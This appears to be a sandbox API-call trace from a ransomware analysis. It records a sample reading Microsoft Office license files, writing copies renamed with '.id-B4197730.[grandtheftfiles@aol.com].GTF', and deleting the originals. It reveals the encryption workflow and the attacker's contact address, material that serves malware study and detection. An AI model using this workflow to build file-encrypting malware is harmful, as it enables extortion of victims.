	[0180.367] lstrlenW (lpString=".zip") returned 4
	[0180.367] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.367] lstrlenW (lpString=".rar") returned 4
	[0180.367] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.367] lstrlenW (lpString=".bz2") returned 4
	[0180.367] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.367] lstrlenW (lpString=".7z") returned 3
	[0180.367] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0180.367] lstrlenW (lpString=".dbf") returned 4
	[0180.367] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0180.367] lstrlenW (lpString=".1cd") returned 4
	[0180.367] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0180.367] lstrlenW (lpString=".jpg") returned 4
	[0180.367] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.389] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.389] lstrlenW (lpString="O365ProPlusR_Grace-ul-oob.xrm-ms") returned 32
	[0180.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.390] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11619) returned 1
	[0180.390] CloseHandle (hObject=0x548) returned 1
	[0180.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms")) returned 0x220
	[0180.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.390] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.390] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0180.391] GetLastError () returned 0x0
	[0180.391] ReadFile (in: hFile=0x548, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d63, lpOverlapped=0x0) returned 1
	[0180.396] WriteFile (in: hFile=0x374, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0180.397] ReadFile (in: hFile=0x548, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.398] WriteFile (in: hFile=0x374, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x114, lpOverlapped=0x0) returned 1
	[0180.398] SetEndOfFile (hFile=0x374) returned 1
	[0180.398] CloseHandle (hObject=0x374) returned 1
	[0180.398] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.398] SetEndOfFile (hFile=0x548) returned 1
	[0180.401] CloseHandle (hObject=0x548) returned 1
	[0180.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms")) returned 1
	[0180.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0180.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0180.402] lstrlenW (lpString=".doc") returned 4
	[0180.402] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.402] lstrlenW (lpString=".docx") returned 5
	[0180.402] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.402] lstrlenW (lpString=".pdf") returned 4
	[0180.402] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.402] lstrlenW (lpString=".xls") returned 4
	[0180.402] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.402] lstrlenW (lpString=".xlsx") returned 5
	[0180.402] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.402] lstrlenW (lpString=".ppt") returned 4
	[0180.402] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0180.402] lstrlenW (lpString=".zip") returned 4
	[0180.402] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.402] lstrlenW (lpString=".rar") returned 4
	[0180.402] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.402] lstrlenW (lpString=".bz2") returned 4
	[0180.402] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.402] lstrlenW (lpString=".7z") returned 3
	[0180.402] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0180.402] lstrlenW (lpString=".dbf") returned 4
	[0180.402] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0180.403] lstrlenW (lpString=".1cd") returned 4
	[0180.403] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0180.403] lstrlenW (lpString=".jpg") returned 4
	[0180.403] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0180.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0180.403] lstrlenW (lpString=".doc") returned 4
	[0180.403] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.403] lstrlenW (lpString=".docx") returned 5
	[0180.403] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.403] lstrlenW (lpString=".pdf") returned 4
	[0180.403] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.403] lstrlenW (lpString=".xls") returned 4
	[0180.403] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.403] lstrlenW (lpString=".xlsx") returned 5
	[0180.403] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.403] lstrlenW (lpString=".ppt") returned 4
	[0180.403] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0180.403] lstrlenW (lpString=".zip") returned 4
	[0180.403] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.403] lstrlenW (lpString=".rar") returned 4
	[0180.403] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.403] lstrlenW (lpString=".bz2") returned 4
	[0180.403] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.403] lstrlenW (lpString=".7z") returned 3
	[0180.403] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0180.403] lstrlenW (lpString=".dbf") returned 4
	[0180.403] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0180.403] lstrlenW (lpString=".1cd") returned 4
	[0180.404] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0180.404] lstrlenW (lpString=".jpg") returned 4
	[0180.404] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.404] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.404] lstrlenW (lpString="O365ProPlusR_Subscription1-ppd.xrm-ms") returned 37
	[0180.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.404] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=28261) returned 1
	[0180.404] CloseHandle (hObject=0x548) returned 1
	[0180.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms")) returned 0x220
	[0180.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.405] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.405] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0180.406] GetLastError () returned 0x0
	[0180.406] ReadFile (in: hFile=0x548, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x6e65, lpOverlapped=0x0) returned 1
	[0180.410] WriteFile (in: hFile=0x374, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x6e70, lpOverlapped=0x0) returned 1
	[0180.412] ReadFile (in: hFile=0x548, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.412] WriteFile (in: hFile=0x374, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0180.412] SetEndOfFile (hFile=0x374) returned 1
	[0180.412] CloseHandle (hObject=0x374) returned 1
	[0180.415] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.415] SetEndOfFile (hFile=0x548) returned 1
	[0180.422] CloseHandle (hObject=0x548) returned 1
	[0180.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.601] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms")) returned 1
	[0180.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0180.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0180.602] lstrlenW (lpString=".doc") returned 4
	[0180.602] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.602] lstrlenW (lpString=".docx") returned 5
	[0180.602] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.602] lstrlenW (lpString=".pdf") returned 4
	[0180.602] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.602] lstrlenW (lpString=".xls") returned 4
	[0180.603] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.603] lstrlenW (lpString=".xlsx") returned 5
	[0180.603] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.603] lstrlenW (lpString=".ppt") returned 4
	[0180.603] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0180.603] lstrlenW (lpString=".zip") returned 4
	[0180.603] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.603] lstrlenW (lpString=".rar") returned 4
	[0180.603] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.603] lstrlenW (lpString=".bz2") returned 4
	[0180.603] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.603] lstrlenW (lpString=".7z") returned 3
	[0180.603] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0180.603] lstrlenW (lpString=".dbf") returned 4
	[0180.603] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0180.603] lstrlenW (lpString=".1cd") returned 4
	[0180.603] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0180.603] lstrlenW (lpString=".jpg") returned 4
	[0180.603] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0180.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0180.603] lstrlenW (lpString=".doc") returned 4
	[0180.603] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.603] lstrlenW (lpString=".docx") returned 5
	[0180.603] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.603] lstrlenW (lpString=".pdf") returned 4
	[0180.603] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.603] lstrlenW (lpString=".xls") returned 4
	[0180.603] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.603] lstrlenW (lpString=".xlsx") returned 5
	[0180.603] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.603] lstrlenW (lpString=".ppt") returned 4
	[0180.604] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0180.604] lstrlenW (lpString=".zip") returned 4
	[0180.604] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.604] lstrlenW (lpString=".rar") returned 4
	[0180.604] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.604] lstrlenW (lpString=".bz2") returned 4
	[0180.604] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.604] lstrlenW (lpString=".7z") returned 3
	[0180.604] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0180.604] lstrlenW (lpString=".dbf") returned 4
	[0180.604] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0180.604] lstrlenW (lpString=".1cd") returned 4
	[0180.604] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0180.604] lstrlenW (lpString=".jpg") returned 4
	[0180.604] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.604] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.604] lstrlenW (lpString="O365ProPlusR_Subscription3-ppd.xrm-ms") returned 37
	[0180.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0180.605] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=28261) returned 1
	[0180.605] CloseHandle (hObject=0x554) returned 1
	[0180.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms")) returned 0x220
	[0180.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0180.606] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.606] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0180.607] GetLastError () returned 0x0
	[0180.607] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x6e65, lpOverlapped=0x0) returned 1
	[0180.662] WriteFile (in: hFile=0x57c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x6e70, lpOverlapped=0x0) returned 1
	[0180.663] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.663] WriteFile (in: hFile=0x57c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0180.663] SetEndOfFile (hFile=0x57c) returned 1
	[0180.663] CloseHandle (hObject=0x57c) returned 1
	[0180.663] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.663] SetEndOfFile (hFile=0x554) returned 1
	[0180.666] CloseHandle (hObject=0x554) returned 1
	[0180.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms")) returned 1
	[0180.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0180.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0180.668] lstrlenW (lpString=".doc") returned 4
	[0180.668] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.668] lstrlenW (lpString=".docx") returned 5
	[0180.668] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.668] lstrlenW (lpString=".pdf") returned 4
	[0180.668] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.668] lstrlenW (lpString=".xls") returned 4
	[0180.668] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.668] lstrlenW (lpString=".xlsx") returned 5
	[0180.668] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.668] lstrlenW (lpString=".ppt") returned 4
	[0180.668] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0180.668] lstrlenW (lpString=".zip") returned 4
	[0180.668] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.668] lstrlenW (lpString=".rar") returned 4
	[0180.668] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.668] lstrlenW (lpString=".bz2") returned 4
	[0180.668] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.668] lstrlenW (lpString=".7z") returned 3
	[0180.668] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0180.668] lstrlenW (lpString=".dbf") returned 4
	[0180.668] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0180.668] lstrlenW (lpString=".1cd") returned 4
	[0180.668] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
